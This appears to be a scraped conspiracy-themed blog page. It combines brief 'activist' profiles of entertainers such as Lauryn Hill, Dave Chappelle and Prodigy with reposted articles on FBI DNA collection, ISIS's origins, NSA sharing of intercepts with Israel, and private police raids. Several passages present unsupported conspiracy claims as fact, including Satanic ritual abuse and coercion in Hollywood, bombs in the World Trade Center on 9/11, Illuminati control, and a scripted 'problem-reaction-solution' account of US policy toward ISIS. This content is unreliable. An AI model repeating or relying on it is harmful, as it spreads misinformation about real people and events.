Lauryn Hill – Rapper, Activist

Lauryn Hill – Rapper, Activist

lauryn-hillIt’s long been speculated that Lauryn Hill disappeared from music because of her fear of the “media protected military industrial complex”,.

Grammy award-winning singer Lauren Hill has been ordered by a judge to “undergo counseling because of her conspiracy theories.” What was her conspiracy theory? That the music industry oppresses people with actual talent in favor of pumping out mindless nonsense.

Hill was sentenced to 3 months in jail followed by three months’ home confinement after failing to pay a tax bill because she had withdrawn from society following threats to her family.

In June last year, Hill posted a diatribe to her Tumblr account complaining of how themusic industry is “manipulated and controlled by a media protected military industrial complex.”

Even other recording artists have made it clear that anyone who doesn’t conform to the strict demands of the music industry or even, as Nicole Scherzinger recently remarked, sell their soul to satan, tends to find success hard to maintain in an industry that punishes individuals who dare to speak their mind.

In numerous performances and speeches over the last few years, Hill has attempted to warn young people about how “pop culture cannibalism” and the deliberate reductionism of art and music is damaging a whole generation and turning them into passive, unthinking consumers – destroying inspiration and true creativity in the name of profit.

The Judge’s order that Hill undergo what amounts to brainwashing and re-education simply for publicly proclaiming the fact that the music industry is designed to strangle true talent while promoting amoral, vacuous, mindless, turgid drivel, is part of theincreasing trend towards labeling common sense as a mental illness if it goes against the establishment grain in any way.

 

 

Dave Chappelle – Entertainer, Activist

Dave Chappelle – Entertainer, Activist

dave-chappelleDave Chappelle has never joined the dark side of the entertainment industry and refused to play the game, like Katt Williams his career has suffered because of it. Remember when the mainstream media told us he was a crackhead who lost his mind when he ran away to Africa? Well that was just a media smear campaign to hurt his image.  Dave is well aware of the Satanism in Hollywood, Ritual Abuse, and Coercion of all prominent black male entertainers to ultimately ‘wear a dress’ at some point in their career.

 

 

http://youtu.be/Hdz5KunxWOE

Vinnie Paz – Rapper, Activist

Vinnie Paz – Rapper, Activist

vinnie-pazVincenzo Luvineri (born October 5, 1977), better known as Vinnie Paz (formerly known as Ikon the Verbal Hologram), is an Italian-American rapper and the lyricist behind the Philadelphia underground hip hop group Jedi Mind Tricks. He is also the frontman of the hip hop supergroup Army of the Pharaohs.[1]

Paz is known for his raw and gritty lyrical delivery. His lyrics frequently contain references to religion, war, politics, mythology, conspiracy theories, and the paranormal.[2] His more recent albums such as Servants in Heaven Kings in Hell show a more obvious approach to politics and world issues. This gritty style of Paz became apparent with the release of Violent by Design, and has become progressively more defined since its release. Vinnie Paz has a number of aliases, such as: Ikon the Verbal Hologram, Louie Doggs, Boxcutter Pazzy, Hologram, Paz, Vinnie P, The Pazmanian Devil, Ikon The Python, and Pazienza. Raised Catholic, Vinnie Paz is now a Muslim, which plays a major role in much of his lyrics, often controversially, as on Heavenly Divine, where he rapped “I’m with Allah ’cause he chose me, I broke into the Vatican, strangled The Popewith his rosary.”[3] Vinnie is also a heavy metal fan, and occasionally uses song titles and band names in JMT tracks and lyrics.

 

Prodigy (Mobb Deep) – Rapper, Activist

Prodigy (Mobb Deep) – Rapper, Activist

supra-PR-Image-ProdigySigningNYCProdigy released an autobiography during spring 2011 entitled My Infamous Life: The Autobiography of Mobb Deep’s Prodigy. It was co-written with Laura Checkoway and was published by Touchstone Books. Prodigy was recently featured in the 2011 documentary Rhyme and Punishment a film that documents Hip-Hop artists who have been incarcerated. The film documents Prodigy’s trial and his last days before starting his prison sentence. During 2011, Prodigy released a free EP called The Ellsworth Bumpy Johnson EP which is his first project since being released from prison. On April 21, a song titled “The Type”, with Curren$y, was released on Curren$y’s free album, entitled Covert Coup.[7] Prodigy has spoken out against the secret society Illuminati.[8][9] In 2013, Prodigy released his second collaboration album with The Alchemist titled Albert Einstein. Then on April 1, 2014, Mobb Deep released The Infamous Mobb Deep their eighth studio album.

“There’s a lot of things they’re not talking about, like 9/11, that these people aretrying to sweep under the rug…That’s what we need to be talking about…To see what they feel about the bombs going off in the World Trade Center, what about that? There was mad witnesses, the Fire Dept., the Police Dept. saidthey heard bombs going off…and you can see the explosions going off…why isn’t anybody talking about that?”

http://youtu.be/YJ5Ww8cZABI

Joe Rogan – Martial Arts, Free Thinker, Blogger

Joe Rogan – Martial Arts, Free Thinker, Blogger

The-Joe-Rogan-ExperienceJoseph JamesJoeRogan (born August 11, 1967) is an American stand-up comedian, actor, writer, martial artist, and UFC color commentator.[4] He is best known for playing Joe Garrelli on the NBC sitcomNewsRadio, commentating for the Ultimate Fighting Championship, as well as hosting the NBC reality showFear Factor and The Joe Rogan Experience podcast. His new show, Joe Rogan Questions Everything, premiered on Syfy in July 2013.[5]

Regarding his religious beliefs, Rogan has stated that he is not completely opposed to the concept of a “higher power” such as a god. However, Rogan stated in September 2010, during a guest appearance on the Alex Jones radio show, that he does not follow any organized religion.[27]

One of the recurring themes in his work and life is the use and support of entheogens, such as cannabispsilocybin mushrooms and DMT, toward the exploration and enhancement of consciousness.[28] Rogan supports the medical and recreational use of cannabis.[29] He has also starred in the marijuana documentary The Union: The Business Behind Getting High.[30] Rogan was featured in the History Channel documentary, Marijuana: A Chronic History, as an advocate of legalized medical use of marijuana. He is also the presenter of the 2010 documentary DMT: The Spirit Molecule.[31]

Another recurring theme is his interest in the use of sensory deprivation and the isolation tank.[32] In a number of recent videos on YouTube and his own podcast, Rogan describes his personal experiences with isolation tanks and shares his insights into using them for various purposes, such as exploring the nature of consciousness and improving performance, health, well being and creativity.[33][34]

 

Immortal Technique – Rapper, Activist

Immortal Technique – Rapper, Activist

Immortal-TechniqueFelipe Andres Coronel (born February 19, 1978), better known by the stage name Immortal Technique, is an Afro-Peruvian American rapper as well as an urban activist. He was born in Lima, Peru and raised inHarlem, New York.[2] Most of his lyrics focus on controversial issues in global politics. The views expressed in his lyrics are largely commentary on issues such as class struggle, Marxism, poverty, religion, government,imperialism and institutional racism.

Immortal Technique has voiced a desire to retain control over his production,[3] and has stated in his music that record companies, not artists themselves, profit the most from mass production and marketing of music. He claimed in an interview to have sold close to a combined total of 200,000 copies of his three official releases.[4]

 

Beast 1333 – Rapper, Activist

Beast 1333 – Rapper, Activist

Beast+1333+Templars+of+Hip+HopBeast 1333 is a well known underground Hip Hop rapper of Puerto Rican descent with a huge global cult like following, born in Brooklyn NY (Jan.13,1982).  Anti-NWO Storyteller leaves no conspiracy stone un-turned. UFO’s, Aliens, Cover-Up, Genetic Engineering, Space Travel, Time-Travel, you name it. Friend of Anonymous.

 

 

 

 

http://youtu.be/wyb6qWrm7_s

LowKey –  Rapper, Activist

LowKey – Rapper, Activist

UK-Rapper-Lowkey-RashaEntertainmentIraqi from the United Kingdom. Social Justice Activist. Anti-Obama, Anti-Drone, Anti-War. Pro-Palestine.

Political activism (wikipedia)

Lowkey is a vocal opponent of Zionism and has been become well known for his pro-Palestinian activities as a patron of the Palestine Solidarity Campaign, comparing Zionism to colonialism and ethnic cleansing.[30][31][32] He is known to have coined the phrase “Nothing is more anti-semiticthan Zionism” in reference not only to the seldom acknowledged fact that Arabs are themselves Semites but also to what he called the “identical points of view” within Zionism and anti-semitism.[33]

In February 2009, he travelled to Palestinian refugee camps around the West Bank area to perform fundraising shows to help rebuild the Gaza Strip but was detained by the Israel Police for nine hours at Ben Gurion International Airport and interrogated, while having his passport confiscated.[34]Later in 2009, he travelled with M-1 of Dead Prez to carry out a humanitarian aid mission and bring medical aid to the Palestinian people in Gaza; this led to a collaboration between the two on Soundtrack to the Struggle.[35] He was detained for a second time in July 2010, en route to a number of concerts and musical workshops in refugee camps in the West Bank. After detaining him for twelve hours and an online petition was started, he was released.[36]

Lowkey has been a prominent member of the Stop The War Coalition and has spoken on many platforms regarding the occupation of Iraq.[37]Furthermore, he has been a sharp critic of United States and British foreign policy, claiming that the two powers are only interested in supporting leaders who are under their influence or are willing to assist them. He also claims American media overlooks those within the country who do not believe in American military supremacy.[30] Lowkey criticised US President Barack Obama as the “handsome face of an ugly empire” for enlargingGeorge Bush‘s “aggressive foreign policy”.[38]

 

K-Rino – Rapper, Activst

K-Rino – Rapper, Activst

krino-time-traveller

Rapper, Entertainer, Social Justice Activist.

Storytelling is a lost art in rap. Not many do it anymore. Storytelling is a testament to a writer’s creativity, all great writers have a great imagination. So you have to be able to create a plot that people can visualize. With a movie, you can see whats going on but when you can make someone see what you’re saying as you’re saying it, then thats a special talent. The knowledge comes from my roots in Hip Hop. In the beginning there were songs like “The Message”, “The Breaks”, then Public Enemy, KRS, X-Clan…those groups raised social consciousness in rap and thats the era i came up in, so naturally i understand the obligation to teach in my music, words are powerful and the things you say carry weight. I had to evolve and im still growing to where i dont get too wild anymore because i’ve corrupted enough minds.  -KRino

 

FBI Plans to Enlist Local Cops Nationwide in Massive DNA Collection Scheme

FBI Plans to Enlist Local Cops Nationwide in Massive DNA Collection Scheme

dna-microscope

Remember that time the Supreme Court ruled that our DNA is basically just like our fingerprints, and cops can snatch it from us subsequent to arrest? Remember the giant biometrics project the FBI has been spending at least a billion dollars of our money building (with many of the details kept secret), called ‘Next Generation Identification’? With those powers and monies combined, the FBI this week announced its plans “to accelerate the collection of DNA profiles for the government’s massive new biometric identification database.” Like with other biometrics collection schemes, the FBI aims to get local police to do the groundwork.

What could go wrong?

NextGov:

Various FBI divisions “are collaborating to develop and implement foundational efforts to streamline and automate law enforcement’s DNA collection processes” including at arrest, booking and conviction, according to an Aug. 19 notice about the industry briefing. The ongoing groundwork is expected to facilitate the “integration of Rapid DNA Analysis into the FBI’s Combined DNA Index (CODIS) and Next Generation Identification (NGI) systems from the booking environment.”

CODIS is the government’s central DNA database.

Rapid DNA analysis can be performed by cops in less than two hours, rather than by technicians at a scientific lab over several days. The benefit for law enforcement is that an officer can run a cheek swab on the spot or while an arrestee is in temporary custody. If there is a database match, they can then move to lock up the suspect immediately.

While current law requires DNA sent to CODIS to be examined in an accredited lab, FBI officials are looking for a “legislative tweak” to enable local law enforcement to skip that step, and send arrestees’ DNA straight to the FBI’s national database. In 2011, one out of every 25 Americans was arrested.

EFF’s Jennifer Lynch, one of the nation’s foremost experts on FBI biometrics programs, explains why the bureau’s DNA plans pose a serious threat to civil liberties.

“If you leave something behind, let’s say your trash on the sidewalk out in front of your house, then you’ve abandoned any kind of privacy interest in the trash,” she explained. “And so the cops can search through that trash without a warrant. That reasoning has been extended to DNA — if you leave your DNA behind, then the cops could get it without a warrant and test it.”

“If you consider DNA to be a form of ID, and the Supreme Court has already upheld state laws that allow officers to stop someone and ask for their ID, then this is the logical next step,” she added.

codisndismapsept2009Everyone in the United States knows who gets stopped by police the most: young black and brown people. It’s therefore not hard to imagine whose DNA is going to disproportionately fill up this national database, says Lynch.

“If the cops are stopping more African Americans or Latinos and they have the ability to collect their DNA just at a stop, then it means that the DNA database is going to be even more heavily weighted with DNA from immigrant communities and different ethnic minorities,” Lynch told NextGov.

Concerned about your local police department obtaining a rapid DNA device, or sending your DNA to the FBI just because you were arrested at a protest, or for a bench warrant? Take up the matter at the local level. Tell your city government you don’t want your city or town participating in this dragnet DNA sweep.

via PrivacySOS

The Covert Origins of ISIS

The Covert Origins of ISIS

Evidence exposing who put ISIS in power, and how it was done.

The Islamic militant group ISIS, formerly known as Al-Qaeda in Iraq, and recently rebranded as the so called Islamic State, is the stuff of nightmares. They are ruthless, fanatical, killers, on a mission, and that mission is to wipe out anyone and everyone, from any religion or belief system and to impose Shari’ah law. The mass executions, beheadings and even crucifixions that they are committing as they work towards this goal are flaunted like badges of pride, video taped and uploaded for the whole world to see. This is the new face of evil.

iss-money-dollar-symbolism-conspiracyWould it interest you to know who helped these psychopaths rise to power? Would it interest you to know who armed them, funded them and trained them? Would it interest you to know why?

This story makes more sense if we start in the middle, so we’ll begin with the overthrow of Muammar Gaddafi in 2011.

The Libyan revolution was Obama’s first major foreign intervention. It was portrayed as an extension of the Arab Spring, and NATO involvement was framed in humanitarian terms.

The fact that the CIA was actively working to help the Libyan rebels topple Gaddafi was no secret, nor were the airstrikes that Obama ordered against the Libyan government.However, little was said about the identity or the ideological leanings of these Libyan rebels. Not surprising, considering the fact that the leader of the Libyan rebels later admitted that his fighters included Al-Qaeda linked jihadists who fought against allied troops in Iraq.

These jihadist militants from Iraq were part of what national security analysts commonly referred to as Al-Qaeda in Iraq. Remember Al-Qaeda in Iraq was ISIS before it was rebranded.

With the assistance of U.S. and NATO intelligence and air support, the Libyan rebels captured Gaddafi and summarily executed him in the street, all the while enthusiastically chanting “Allah Akbar”. For many of those who had bought the official line about how these rebels were freedom fighters aiming to establish a liberal democracy in Libya, this was the beginning of the end of their illusions.

Prior to the U.S. and NATO backed intervention, Libya had the highest standard of living of any country in Africa. This according to the U.N.’s Human Development Index rankings for 2010.However in the years following the coup, the country descended into chaos, with extremism and violence running rampant. Libya is now widely regarded as failed state (of course those who were naive enough to buy into the propaganda leading up to the war get defensive when this is said).

Now after Gaddafi was overthrown, the Libyan armories were looted, and massive quantities of weapons were sent by the Libyan rebels to Syria. The weapons, which included anti-tank and anti-aircraft missiles were smuggled into Syria through Turkey, a NATO ally. The times of Londonreported on the arrival of the shipment on September 14th, 2012. (Secondary confirmation in this NYT article) This was just three days after Ambassador Chris Stevens was killed by the attack on the U.S. embassy in Benghazi. Chris Stevens had served as the U.S. government’s liaison to the Libyan rebels since April of 2011.

While a great deal media attention has focused on the fact that the State Department did not provide adequate security at the consulate, and was slow to send assistance when the attack started, Pulitzer Prize winning journalist Seymour Hersh released an article in April of 2014 which exposed a classified agreement between the CIA, Turkey and the Syrian rebels to create what was referred to as a “rat line”. The “rat line” was covert network used to channel weapons and ammunition from Libya, through southern turkey and across the Syrian border. Funding was provided by Turkey, Saudi Arabia and Qatar.

With Stevens dead any direct U.S. involvement in that arms shipment was buried, and Washington would continue to claim that they had not sent heavy weaponry into Syria.

It was at this time that jihadist fighters from Libya began flooding into Syria as well. And not just low level militants. Many were experienced commanders who had fought in multiple theaters.

The U.S. and its allies were now fully focused on taking down Assad’s government in Syria. As in Libya this regime change was to be framed in terms of human rights, and now overt support began to supplement the backdoor channels. The growing jihadist presence was swept under the rug and covered up.

However as the rebels gained strength, the reports of war crimes and atrocities that they were committing began to create a bit of a public relations problem for Washington. It then became standard policy to insist that U.S. support was only being given to what they referred to as“moderate” rebel forces.

This distinction, however, had no basis in reality.

In an interview given in April of 2014, FSA commander Jamal Maarouf admitted that his fighters regularly conduct joint operations with Al-Nusra. Al-Nusra is the official Al-Qa’ida branch in Syria. This statement is further validated by an interview given in June of 2013 by Colonel Abdel Basset Al-Tawil, commander of the FSA’s Northern Front. In this interview he openly discusses his ties with Al-Nusra, and expresses his desire to see Syria ruled by sharia law. (You can verify the identities of these two commanders here in this document from The Institute for the Study of War)

Moderate rebels? Well it’s complicated. Not that this should really come as any surprise. Reuters had reported in 2012 that the FSA’s command was dominated by Islamic extremists, and the New York Times had reported that same year that the majority of the weapons that Washington were sending into Syria was ending up in the hands Jihadists. For two years the U.S. government knew that this was happening, but they kept doing it.

And the FSA’s ties to Al-Nusra are just the beginning. In June of 2014 Al-Nusra merged with ISIS at the border between Iraq and Syria.

So to review, the FSA is working with Al-Nusra, Al-Nusra is working with ISIS, and the U.S. has been sending money and weapons to the FSA even though they’ve known since 2012 that most of these weapons were ending up in the hands of extremists. You do the math.

[UPDATE 9.03.14]: Retired Lt. Gen. Tom McInerney admits: “We Helped Build ISIS”:
Note that the first version of this video I uploaded (here) was quickly taken down. To insure that this clip does not disappear we have provided a secondary download link here. So if the video below isn’t playing then use that link and upload it elsewhere.

Syria, we backed I believe, in some cases some of the wrong people and not in the right part of the Free Syrian Army (FSA) that’s a little confusing to people. So I’ve always maintained, and go back quite some time that we were backing the wrong types. I think it’s going to turn out maybe this weekend in a new special that Brett Baer is going to have Friday that’s gonna show some of those weapons from Benghazi ended up in the hands of ISIS. So we helped build ISIS.

In that context, the sarin gas attacks of 2013 which turned out to have been committed by the Syrian rebels, makes a lot more sense doesn’t it? If it wasn’t enough that U.N. investigators,Russian investigators, and Pulitzer prize winning journalist Seymour Hersh all pinned that crime on Washington’s proxies, the rebels themselves threatened the West that they would expose what really happened if they were not given more advanced weaponry within one month.

By the way, this also explains why Washington then decided to target Russia next.

This threat was made on June 10th, 2013. In what can only be described as an amazing coincidence, just nine days later, the rebels received their first official shipment of heavy weapons in Aleppo.

After the second sarin gas fiasco, which was also exposed and therefore failed to garner public support for airstrikes, the U.S. continued to increase its the training and support for the rebels.

In February of 2014, Haaretz reported that the U.S. and its allies in the region, Saudi Arabia, Jordan and Israel, were in the process of helping the Syrian rebels plan and prepare for a massive attack in the south. According to Haaretz Israel had also provided direct assistance in military operations against Assad four months prior (you can access a free cached version of the page here).

Then in May of 2014 PBS ran a report in which they interviewed rebels who were trained by the U.S. in Qatar. According to those rebels they were being trained to finish off soldiers who survived attacks.

“They trained us to ambush regime or enemy vehicles and cut off the road,” said the fighter, who is identified only as “Hussein.” “They also trained us on how to attack a vehicle, raid it, retrieve information or weapons and munitions, and how to finish off soldiers still alive after an ambush.”

This is a blatant violation of the Geneva conventions. It also runs contrary to conventional military strategy. In conventional military strategy soldiers are better off left wounded, because this ends up costing the enemy more resources. Executing captured enemy soldiers is the kind of tactic used when you want to strike terror in the hearts of the enemy. It also just happens to be standard operating procedure for ISIS.

One month after this report, in June of 2014, ISIS made its dramatic entry, crossing over the Syrian border into Iraq, capturing Mosul, Baiji and almost reaching Baghdad. The internet was suddenly flooded with footage of drive by shootings, large scale death marches, and mass graves. And of course any Iraqi soldier that was captured was executed.

Massive quantities of American military equipment were seized during that operation. ISIS took entire truckloads of humvees, they took helicopters, tanks, and artillery. They photographed and video taped themselves and advertised what they were doing on social media, and yet for some reason Washington didn’t even TRY to stop them.

U.S. military doctrine clearly calls for the destruction of military equipment and supplies when friendly forces cannot prevent them from falling into enemy hands, but that didn’t happen here. ISIS was allowed to carry this equipment out of Iraq and into Syria unimpeded. The U.S. military had the means to strike these convoys, but they didn’t lift a finger, even though they had been launching drone strikes in Pakistan that same week.

Why would they do that?

Though Obama plays the role of a weak, indecisive, liberal president, and while pundits from the right have had a lot of fun with that image, this is just a facade. Some presidents, like George W. Bush, rely primarily on overt military aggression. Obama gets the same job done, but he prefers covert means. Not really surprising considering the fact that Zbigniew Brzezinski was his mentor.

Those who know their history will remember that Zbigniew Brzezinski was directly involved in the funding and arming the Islamic extremists in Pakistan and Afghanistan in order to weaken the Soviets.

By the way Osama bin Laden was one of these anti-Soviet “freedom fighters” the U.S. was funding and arming.

This operation is no secret at this point, nor are the unintended side effects.

Officially the U.S. government’s arming and funding of the Mujahideen was a response to the Soviet invasion in December of 1979, however in his memoir entitled “From the Shadows” Robert Gates, director of the CIA under Ronald Reagan and George Bush Senior, and Secretary of Defense under both George W. Bush and Barack Obama, revealed that the U.S. actually began the covert operation 6 months prior, with the express intention of luring the Soviets into a quagmire. (You can preview the relevant text here on google books)

The strategy worked. The Soviets invaded, and the ten years of war that followed are considered by many historians as being one of the primary causes of the fall of the USSR.

This example doesn’t just establish precedent, what we’re seeing happen in Iraq, Afghanistan and Syria right now is actually a continuation of a old story. Al-Nusra and ISIS are ideological and organizational decedents of these extremist elements that the U.S. government made use of thirty years ago.

The U.S. the went on to create a breeding ground for these extremists by invading Iraq in 2003. Had it not been for the vacuum of power left by the removal and execution of Saddam, Al-Qaeda in Iraq, aka ISIS, would not exist. And had it not been for Washington’s attempt at toppling Assad by arming, funding and training shadowy militant groups in Syria, there is no way that ISIS would have been capable of storming into Iraq in June of 2014.

On every level, no matter how you cut it, ISIS is a product of U.S. government’s twisted and decrepit foreign policy.

Now all of this may seem contradictory to you as you watch the drums of war against ISIS begin to beat louder and the air strikes against them are gradually widenedhttp://www.wjla.com/articles/2014/08/president-obama-considers-possible-…). Why would the U.S. help a terrorist organization get established, only to attack them later?

Well why did the CIA put Saddam Hussein in power in 1963?, Why did the U.S. government back Saddam in 1980 when he launched a war of aggression against Iran, even though they knew that he was using chemical weapons? Why did the U.S. fund and arm Islamic extremists in Afghanistan against the Soviets?

There’s a pattern here if you look closely. This is a tried and true geopolitical strategy.

Step 1: Build up a dictator or extremist group which can then be used to wage proxy wars against opponents. During this stage any crimes committed by these proxies are swept under the rug. [Problem]

Step 2: When these nasty characters have outlived their usefulness, that’s when it’s time to pull out all that dirt from under the rug and start publicizing it 24/7. This obviously works best when the public has no idea how these bad guys came to power.[Reaction]

Step 3: Finally, when the public practically begging for the government to do something, a solution is proposed. Usually the solution involves military intervention, the loss of certain liberties, or both. [Solution]

ISIS is extremely useful. They have essentially done Washington dirty work by weakening Assad. In 2014, while the news cycle has focused almost exclusively on Ukraine and Russia, ISIS made major headway in Syria, and as of August they already controlled 35% of the country.

Since ISIS largely based in Syria, this gives the U.S. a pretext to move into Syria. Sooner or later the U.S. will extend the airstrikes into Assad’s backyard, and when they do U.S. officials are already making it clear that both ISIS and the Syrian government will be targeted. That, after all, is the whole point. Washington may allow ISIS to capture a bit more territory first, but the writing is on the wall, and has been for some time now.

The Obama administration has repeatedly insisted that this will never lead to boots on the ground, however, the truth of the matter is that anyone who understands anything about military tactics knows full well that ISIS cannot be defeated by airstrikes alone. In response to airstrikes ISIS will merely disperse and conceal their forces. ISIS isn’t an established state power which can be destroyed by knocking out key government buildings and infrastructure. These are guerrilla fighters who cut their teeth in urban warfare.

To significantly weaken them, the war will have to involve ground troops, but even this is a lost cause. U.S. troops could certainly route ISIS in street to street battles for some time, and they might even succeed in fully occupying Syria and Iraq for a number of years, but eventually they will have to leave, and when they do, it should be obvious what will come next.

The puppets that the U.S. government has installed in the various countries that they have brought down in recent years have without exception proven to be utterly incompetent and corrupt. No one that Washington places in power will be capable of maintaining stability in Syria. Period.

Right now, Assad is the last bastion of stability in the region. He is the last chance they have for a moderate non-sectarian government and he is the only hope of anything even remotely resembling democracy for the foreseeable future. If Assad falls, Islamic extremist will take the helm, they will impose shari’ah law, and they will do everything in their power to continue spreading their ideology as far and wide as they can.

If the world truly wants to stop ISIS, there is only one way to do it:

1. First and foremost, the U.S. government and its allies must be heavily pressured to cut all support to the rebels who are attempting to topple Assad. Even if these rebels that the U.S. is arming and funding were moderate, and they’re not, the fact that they are forcing Assad to fight a war on multiple fronts, only strengthens ISIS. This is lunacy.

2. The Syrian government should be provided with financial support, equipment, training and intelligence to enable them to turn the tide against ISIS. This is their territory, they should be the ones to reclaim it.

Now obviously this support isn’t going to come from the U.S. or any NATO country, but there are a number of nations who have a strategic interest in preventing another regime change and chaotic aftermath. If these countries respond promptly, as in right now, they could preempt a U.S. intervention, and as long this support does not include the presence of foreign troops, doing so will greatly reduce the likelihood of a major confrontation down the road.

3. The U.S. government and its allies should should be aggressively condemned for their failed regime change policies and the individuals behind these decisions should be charged for war crimes. This would have to be done on an nation by nation level since the U.N. has done nothing but enable NATO aggression. While this may not immediately result in these criminals being arrested, it would send a message. This can be done. Malaysia has already proven this by convicting the Bush administration of war crimes in abstentia.

Now you might be thinking: “This all sounds fine and good, but what does this have to do with me? I can’t influence this situation.”

That perspective is quite common, and for most people, it’s paralyzing, but the truth of the matter is that we can influence this. We’ve done it before, and we can do it again.

I’ll be honest with you though, this isn’t going to be easy. To succeed we have to start thinking strategically. Like it or not, this is a chess game. If we really want to rock the boat, we have to start reaching out to people in positions of influence. This can mean talking to broadcasters at your local radio station, news paper, or t.v. station, or it can mean contacting influential bloggers, celebrities, business figures or government officials. Reaching out to current serving military and young people who may be considering joining up is also important. But even if it’s just your neighbor, or your coworker, every single person we can reach brings us closer to critical mass. The most important step is to start trying.

If you are confused about why this is all happening, watch this video we put out on September 11th, 2012

If this message resonates with you then spread it. If you want to see the BIG picture, and trust me we’ve got some very interesting reports coming, subscribe to StormCloudsGathering on Youtube, and follow us on Facebook, twitter and Google plus.

BONUS ARTICLE (an interesting tangent): Were the Libyan rebels being led by a CIA plant?

via StormCloudsGathering

Eddie Griffin – Entertainer, Activist

Eddie Griffin – Entertainer, Activist

 

 

Comedian Eddie Griffin Talks The Truth On China & Americas Covert War Through Afghanistan’s Opium. TV ‘Programming’.

Freedom, Thinking, Control Sysmtems, Total Collapse – The Build up to World War III & The New World Order.

 

The NSA Helped Israel Blackmail Palestinians

The NSA Helped Israel Blackmail Palestinians

israel-nsa-connections-palestine

Scores of former members of Israeli military intelligence’s very secret and quite elite Unit 8200 have publicly refused to collect information that is “used for political persecution” or “driving parts of Palestinian society against itself.”Courteous allies at the NSA, we now know, helped make that spying possible.

The news comes courtesy of the NSA’s chief unauthorized biographer, James Bamford, whose three-day Moscow bull session with traitorous notoriety prostitute, Edward Joseph Snowden, was the cover story in last month’s issue ofWIRED.

Writing Tuesday in the New York Times, Bamford disclosed this alarming new anecdote from his Snowden debrief:

Among his most shocking discoveries, he told me, was the fact that the NSA was routinely passing along the private communications of Americans to a large and very secretive Israeli military organization known as Unit 8200. This transfer of intercepts, he said, included the contents of the communications as well as metadata such as who was calling whom.

Typically, when such sensitive information is transferred to another country, it would first be “minimized,” meaning that names and other personally identifiable information would be removed. But when sharing with Israel, the NSA evidently did not ensure that the data was modified in this way.

Mr. Snowden stressed that the transfer of intercepts to Israel contained the communications—email as well as phone calls—of countless Arab- and Palestinian-Americans whose relatives in Israel and the Palestinian territories could become targets based on the communications. “I think that’s amazing,” he told me. “It’s one of the biggest abuses we’ve seen.”

As of last week, exactly 43 ex-members of Unit 8200—many young and active reservists who could theoretically be called again to serve Israel at a moment’s notice—passionately agree.

In an act of protest that had been planned well in advance of this summer’s brutal bombing campaign in Gaza (which you may have heard killed 2,100 Palestinians and turned Gaza City into the lunar ruins of an ancient alien race), the young members of Unit 8200 drafted a long letter publicly refusing to participate in any further intelligence gathering activities against the Palestinians.

“The Palestinian population under military rule is completely exposed to espionage and surveillance by Israeli intelligence. It is used for political persecution and to create divisions within Palestinian society by recruiting collaborators,” the letter says. Adding, “In many cases, intelligence prevents defendants from receiving a fair trial in military courts, as the evidence against them is not revealed.”

“Contrary to Israeli citizens or citizens of other countries,” whose rights are protected under law, the letter points out, “there’s no oversight on methods of intelligence or tracking and the use of intelligence information against the Palestinians, regardless if they are connected to violence or not.”

London-based newspaper The Guardian interviewed several of the unit’s conscientious objectors under the condition of anonymitywhich was requested not out of fear of persecution, but out of the desire to comply with Israeli law. (Only the copies of the letter sent to their unit commander used the objectors’ full names.)

The individual accounts made by the former military intelligence agents,published by the Guardian and Israel’s Yediot Aharonot newspaper, are numerous and depressingly perverse.

Among the personal statements, agents disclosed that the majority of Unit 8200’s operations in Palestine targeted “innocent people unconnected to any military activity.” The unit was instructed to keep any personal information potentially embarrassing or damaging to a Palestinian’s life, including sexual preferences, extramarital affairs, financial trouble, family illnesses, or anything else that could be “used to extort/blackmail the person and turn them into a collaborator.” The private “sex talk” intercepted by Palestinians (in what’s becoming a gross trend for these surveillance scandals) were allegedly passed around by certain members of the unit for titters/yucks.

One member, referred to as “D” by the Guardian, formerly a 29-year-old captain who served in the unit for eight years, told the paper that part of his decision to protest came from the dawning realization that his actions were really no different than those of any totalitarian government’s secret police.

“It was when I realized that what I was doing was the same job that the intelligence services of every undemocratic regime are doing,” he said.

There have been many precursors, both historically and more recently, to this secretive alliance between Israeli and U.S. intelligence agencies. Back in Mad Men times, the CIA’s director of counter-intelligence, legendary super-spook James Angleton, practically contracted all of the CIA’s North African operations to the Mossad along with a generous aid package, and has often been said to have helped found their agency in 1951. During the more recent disclosures regarding the NSA’s (basically illegal) surveillance program STELLAR WIND, agency whistleblowers revealed that two Israeli companies, Verint and Narus, were contracted to manage the actual bugging of America’s telecommunications network.

Apart from the Mossad’s long, aggressive history of spying on the United States, the arrangement also provoked concerns due to corruption within one of the firms; Verint’s founder and former chairman Kobi Alexander was added to the FBI “most wanted list” in 2006 regarding various forms of stock fraud and fought against extradition for many years. Some former agency employees have also reported that a mid-level NSA employee friendly with Israeli intelligence unilaterally decided to hand over advanced analytical and data mining software that the agency had developed internally for its own international eavesdropping operations. (According to a piece by James Bamford in WIRED, that software is now also in the hands of many private Israeli companies.)

In all that context, it’s true that this recent news isn’t exactly surprising or shockingthe kind of lame, bullshit “take” pundits and anonymous commenters always love trotting out to congratulate themselves for their knowledgeable cynicism. (Seriously: Good for you guys.)

What it still isobviously and regardless of this contextis abhorrent and genuinely scandalous for a country, like Israel, that loves positioning itself as a bastion of democracy in the autocratic Middle East.

Perhaps, we should start looking for some fresh perspectives on how best to resolve this ongoing humanitarian crisis.

[photo of an Israeli Defense Force Situation Room—really actually already redacted like that—via the IDF Spokesman’s Office by way of Haaretz; June 2014 photo of an Israeli soldier carrying a computer tower seized during the search for three Israeli teenagers believed to be kidnapped by Palestinian militants, by Hazem Bader/AFP/Getty Images]

via Gawker

To contact the author, email matthew.phelan@gawker.com, pgp public key.

Here Come the Raids: Contractors Seek to Legalize Private Police in the U.S.

Here Come the Raids: Contractors Seek to Legalize Private Police in the U.S.

mendocino-paramilitary-raid-cannabis-cropsThere are very few news stories about government overreach that shock me these days, but this week there were two — both in California. Each came and went with barely a whisper in the media, even from the “liberty” news.

Perhaps we’re so bombarded with mafia tactics by the government that some events just get lost in the chaos. And no, one of these developments is NOT the Los Angeles School District acquiring tanks and grenade launchers, although that’s probably of equal significance. Below is the first of these local stories. The second will be in a follow-up article.

This is probably the scariest development in law enforcement, ever, and I don’t say that lightly. If you thought no-knock SWAT raids to serve warrants for non-violent crimes was the epitome of tyranny, wait until you get a load of private mercenaries conducting special forces-type raids on American citizens.

That’s right, a report out of Mendocino, California admits that Blackwater-like private “security” contractors are now being used to “police pot.” Mysterious soldiers repelled out of unmarked helicopters fully armed for war to raid legal medical cannabis gardens last month. They didn’t identify themselves or present paperwork of any kind. They just destroyed the garden and left. Other witnesses claim this invading army is also “confiscating” product.

Here’s the local CBS news report:
http://sanfrancisco.cbslocal.com/video?autoStart=true&topVideoCatNo=default&clipId=10576466

